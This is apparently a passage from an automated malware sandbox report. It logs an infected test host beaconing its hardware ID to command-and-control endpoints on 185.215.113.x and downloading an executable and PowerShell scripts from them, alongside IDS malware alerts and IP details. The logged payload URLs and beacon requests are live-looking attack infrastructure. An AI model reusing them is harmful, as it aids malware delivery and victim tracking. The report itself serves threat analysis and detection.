00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000023001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103If-Modified-Since: Sat, 28 Sep 2024 22:56:39 GMTIf-None-Match: "1c2200-62335e26d596b"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 36 37 37 35 38 35 34 36 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 2d 2d 0d 0a Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="hwid"9567758546661964116302------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="build"save------KFCGDBAKKKFBGDHJKFHJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 32 36 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000026002&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/ko.ps1 HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 33 32 30 34 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000032042&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 36 37 37 35 38 35 34 36 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="hwid"9567758546661964116302------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="build"save------BGCAFHCAKFBFIECAFIIJ--
Source: global traffic	HTTP traffic detected: GET /test/so.ps1 HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 33 33 31 34 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000033142&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103If-Modified-Since: Sat, 28 Sep 2024 22:56:39 GMTIf-None-Match: "1c2200-62335e26d596b"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 36 37 37 35 38 35 34 36 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="hwid"9567758546661964116302------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="build"save------JDGHIIJKEBGIDHIDBKJD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 33 35 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000035031&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAECHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 36 37 37 35 38 35 34 36 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 2d 2d 0d 0a Data Ascii: ------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="hwid"9567758546661964116302------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="build"save------KKJKEBKFCAAECAAAAAEC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 36 37 37 35 38 35 34 36 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="hwid"9567758546661964116302------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="build"save------HDHJEBFBFHJECAKFCAAK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHJKJDGCGDAKFHIDBGCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 36 37 37 35 38 35 34 36 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 2d 2d 0d 0a Data Ascii: ------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="hwid"9567758546661964116302------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="build"save------KEHJKJDGCGDAKFHIDBGC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBGIDAAFHIJJJJEGCGHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 36 37 37 35 38 35 34 36 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 2d 2d 0d 0a Data Ascii: ------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="hwid"9567758546661964116302------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="build"save------IIEBGIDAAFHIJJJJEGCG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49712 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49717 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49720 -> 185.215.113.103:80

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
